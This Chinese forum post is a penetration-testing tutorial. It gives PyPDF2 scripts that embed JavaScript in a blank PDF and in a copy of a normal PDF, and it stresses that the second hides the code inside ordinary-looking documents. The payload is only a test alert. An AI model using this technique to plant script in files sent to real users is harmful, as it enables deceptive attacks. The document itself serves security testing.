找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

498

积分

0

好友

68

主题
发表于 昨天 18:25 | 查看: 3| 回复: 0

Web渗透测试中,传统的上传图片木马或WebShell的方式已越来越难以生效。因此,我们需要拓宽思路,寻找新的潜在攻击面。除了图片文件,PDF文件同样是一个常见且容易被忽视的上传点。那么,如何将恶意的XSS代码植入PDF文件中呢?

安全声明:本文内容仅限于网络安全技术的学习与研究。严禁用于任何非法攻击行为,一切操作请在合法授权的环境中进行,否则需自行承担相应的法律后果。

环境准备:安装PyPDF2模块

首先,我们需要使用Python的PyPDF2库来操作PDF文件。通过以下命令进行安装:

pip install PyPDF2

图片
安装必要的Python模块

生成包含XSS的PDF文件

接下来,我们编写Python代码,创建一个嵌入了JavaScript弹窗代码的全新PDF文件。

from PyPDF2 import PdfReader, PdfWriter

# 创建一个新的PDF写入对象
output_pdf = PdfWriter()
# 添加一个空白页面(尺寸较小以方便测试)
page = output_pdf.add_blank_page(width=72, height=72)
# 添加JavaScript代码
output_pdf.add_js("app.alert('XSS Test Alert');")
# 将内容写入新的PDF文件
with open("xss.pdf", "wb") as f:
    output_pdf.write(f)

将上述代码保存为.py文件并运行,会在当前目录下生成一个名为 xss.pdf 的文件。要验证效果,你需要将此文件放置到Web服务器的根目录下。
例如,在Linux系统中,可以使用Apache:

cp xss.pdf /var/www/html/
service apache2 start

然后通过浏览器访问该PDF文件的URL(例如 http://your-domain/xss.pdf)。如果PDF阅读器支持并自动执行JavaScript,你将看到弹窗提示。
图片
PDF文件打开时触发的JavaScript弹窗

将XSS绑定至正常PDF文件

在实际的渗透测试场景中,直接上传一个仅有几KB的空白PDF文件可能引起怀疑。更隐蔽的方法是将恶意代码注入到一个正常的、内容丰富的PDF文件中。

  1. 首先,使用Word等工具生成一个常规的PDF文件(例如 normal.pdf)。
  2. 使用以下Python代码,将JavaScript代码附加到这个正常PDF的末尾:
from PyPDF2 import PdfReader, PdfWriter

# 打开原始的正常PDF文件
input_pdf = PdfReader("normal.pdf")
# 创建一个新的PDF写入对象
output_pdf = PdfWriter()
# 将原始PDF的所有页面复制到新对象中
for page in input_pdf.pages:
    output_pdf.add_page(page)
# 添加JavaScript代码
output_pdf.add_js("app.alert('XSS Injected into Normal PDF');")
# 将合并后的PDF写入新文件
with open("malicious.pdf", "wb") as f:
    output_pdf.write(f)

运行此脚本后,会生成 malicious.pdf。这个文件在打开时,会先显示原有的全部正常内容,随后触发JavaScript弹窗。这种方法极大增强了攻击的隐蔽性。
图片
脚本运行成功
图片
生成的恶意PDF文件能正常显示原有内容




上一篇:双向LSTM算法动画全解:从原理到命名实体识别实战
下一篇:Replit AI集成新功能实战:一键接入主流大模型,简化AI应用开发
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-11 03:43 , Processed in 0.075905 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表